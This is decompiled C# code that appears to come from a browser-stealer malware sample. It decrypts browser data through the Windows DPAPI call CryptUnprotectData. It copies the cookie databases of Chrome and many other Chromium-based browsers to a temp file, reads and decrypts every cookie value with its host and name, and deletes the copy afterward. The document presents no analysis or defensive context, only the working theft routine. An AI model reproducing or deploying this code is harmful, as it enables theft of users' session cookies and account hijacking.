// Token: 0x06000035 RID: 53 RVA: 0x00004438 File Offset: 0x00002638
public static byte[] DecryptBrowsers(byte[] cipherTextBytes, byte[] entropyBytes = null)
{
Cookies.DataBlob dataBlob = default(Cookies.DataBlob);
Cookies.DataBlob dataBlob2 = default(Cookies.DataBlob);
Cookies.DataBlob dataBlob3 = default(Cookies.DataBlob);
Cookies.CryptprotectPromptstruct cryptprotectPromptstruct = new Cookies.CryptprotectPromptstruct
{
cbSize = Marshal.SizeOf(typeof(Cookies.CryptprotectPromptstruct)),
dwPromptFlags = 0,
hwndApp = IntPtr.Zero,
szPrompt = null
};
string empty = string.Empty;
try
{
try
{
if (cipherTextBytes == null)
{
cipherTextBytes = new byte[0];
}
dataBlob2.pbData = Marshal.AllocHGlobal(cipherTextBytes.Length);
dataBlob2.cbData = cipherTextBytes.Length;
Marshal.Copy(cipherTextBytes, 0, dataBlob2.pbData, cipherTextBytes.Length);
}
catch (Exception)
{
}
try
{
if (entropyBytes == null)
{
entropyBytes = new byte[0];
}
dataBlob3.pbData = Marshal.AllocHGlobal(entropyBytes.Length);
dataBlob3.cbData = entropyBytes.Length;
Marshal.Copy(entropyBytes, 0, dataBlob3.pbData, entropyBytes.Length);
}
catch (Exception)
{
}
Cookies.CryptUnprotectData(ref dataBlob2, ref empty, ref dataBlob3, IntPtr.Zero, ref cryptprotectPromptstruct, 1, ref dataBlob);
byte[] array = new byte[dataBlob.cbData];
Marshal.Copy(dataBlob.pbData, array, 0, dataBlob.cbData);
return(array);
}
catch (Exception)
{
}
finally
{
if (dataBlob.pbData != IntPtr.Zero)
{
Marshal.FreeHGlobal(dataBlob.pbData);
}
if (dataBlob2.pbData != IntPtr.Zero)
{
Marshal.FreeHGlobal(dataBlob2.pbData);
}
if (dataBlob3.pbData != IntPtr.Zero)
{
Marshal.FreeHGlobal(dataBlob3.pbData);
}
}
return(new byte[0]);
}
// Token: 0x06000036 RID: 54 RVA: 0x000045FC File Offset: 0x000027FC
private static List <CookieData> FetchCookies(string basePath)
{
List <CookieData> result;
if (!File.Exists(basePath))
{
result = null;
}
else
{
basePath.Contains("Chrome");
basePath.Contains("Orbitum");
basePath.Contains("Opera");
basePath.Contains("Amigo");
basePath.Contains("Torch");
basePath.Contains("Comodo");
basePath.Contains("BlackHawk");
basePath.Contains("AcWebBrowser");
basePath.Contains("Baidu Spark");
basePath.Contains("Rockmelt");
basePath.Contains("Sleipnir");
basePath.Contains("SRWare Iron");
basePath.Contains("Titan Browser");
basePath.Contains("Flock");
basePath.Contains("CoolNovo");
basePath.Contains("Epic Browser");
basePath.Contains("Uran");
try
{
string text = Path.GetTempPath() + "/" + NameR.GetName() + ".fv";
if (File.Exists(text))
{
File.Delete(text);
}
File.Copy(basePath, text, true);
Decod decod = new Decod(text);
List <CookieData> list = new List <CookieData>();
decod.ReadTable("cookies");
for (int i = 0; i < decod.GetRowCount(); i++)
{
try
{
string text2 = string.Empty;
try
{
text2 = Encoding.UTF8.GetString(Cookies.DecryptBrowsers(Encoding.Default.GetBytes(decod.GetValue(i, 12)), null));
}
catch (Exception)
{
}
if (text2 != "")
{
list.Add(new CookieData
{
host_key = decod.GetValue(i, 1),
name = decod.GetValue(i, 2),
path = decod.GetValue(i, 4),
expires_utc = decod.GetValue(i, 5),
secure = decod.GetValue(i, 6),
value = text2
});
}
}
catch (Exception)
{
}
}
File.Delete(text);
result = list;
}
catch (Exception)
{
result = null;
}
}
return(result);
}